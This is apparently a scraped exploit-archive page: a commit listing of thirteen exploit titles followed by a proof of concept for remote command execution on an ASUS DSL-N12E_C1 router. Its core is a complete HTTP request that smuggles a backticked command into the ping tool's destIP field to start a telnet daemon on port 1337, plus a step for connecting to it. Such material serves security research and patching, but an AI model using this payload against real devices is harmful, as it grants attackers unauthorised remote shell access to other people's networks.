9ea5e15796
13 changes to exploits/shellcodes Sun Solaris 11.3 AVS - Local Kernel root Exploit Allok Fast AVI MPEG Splitter 1.2 - Buffer Overflow (PoC) AgataSoft Auto PingMaster 1.5 - 'Host name' Denial of Service (PoC) Imperva SecureSphere 11.5 / 12.0 / 13.0 - Privilege Escalation SecureSphere 12.0.0.50 - SealMode Shell Escape (Metasploit) wityCMS 0.6.1 - Cross-Site Scripting Chartered Accountant : Auditor Website 2.0.1 - Cross-Site Scripting WityCMS 0.6.2 - Cross-Site Request Forgery (Password Change) TI Online Examination System v2 - Arbitrary File Download PageResponse FB Inboxer Add-on 1.2 - 'search_field' SQL Injection CoSoSys Endpoint Protector 4.5.0.1 - Authenticated Remote Root Command Injection Universal Media Server 7.1.0 - SSDP Processing XML External Entity Injection ASUS DSL-N12E_C1 1.1.2.3_345 - Remote Command Execution Seq 4.2.476 - Authentication Bypass
22 lines
No EOL
1.1 KiB
Text
22 lines
No EOL
1.1 KiB
Text
# Exploit Title: ASUS DSL-N12E_C1 1.1.2.3_345 - Remote Command Execution
|
|
# Date: 2018-08-02
|
|
# Exploit Author: Fakhri Zulkifli (@d0lph1n98)
|
|
# Vendor Homepage: https://www.asus.com/
|
|
# Software Link: https://www.asus.com/Networking/DSLN12E_C1/HelpDesk_BIOS/
|
|
# Version: 1.1.2.3_345
|
|
# Tested on: 1.1.2.3_345
|
|
|
|
GET /Main_Analysis_Content.asp?current_page=Main_Analysis_Content.asp&next_page=Main_Analysis_Content.asp&next_host=www.target.com&group_id=&modified=0&action_mode=+Refresh+&action_script=&action_wait=&first_time=&applyFlag=1&preferred_lang=EN&firmver=1.1.2.3_345-g987b580&cmdMethod=ping&destIP=%60utelnetd+-p+1337%60&pingCNT=5 HTTP/1.1
|
|
Host: www.target.com
|
|
Connection: keep-alive
|
|
Pragma: no-cache
|
|
Cache-Control: no-cache
|
|
Upgrade-Insecure-Requests: 1
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
|
|
Referer: http://www.target.com/Main_Analysis_Content.asp
|
|
Accept-Encoding: gzip, deflate
|
|
Accept-Language: en-US,en;q=0.9
|
|
|
|
# To connect
|
|
1. telnet www.target.com 1337 |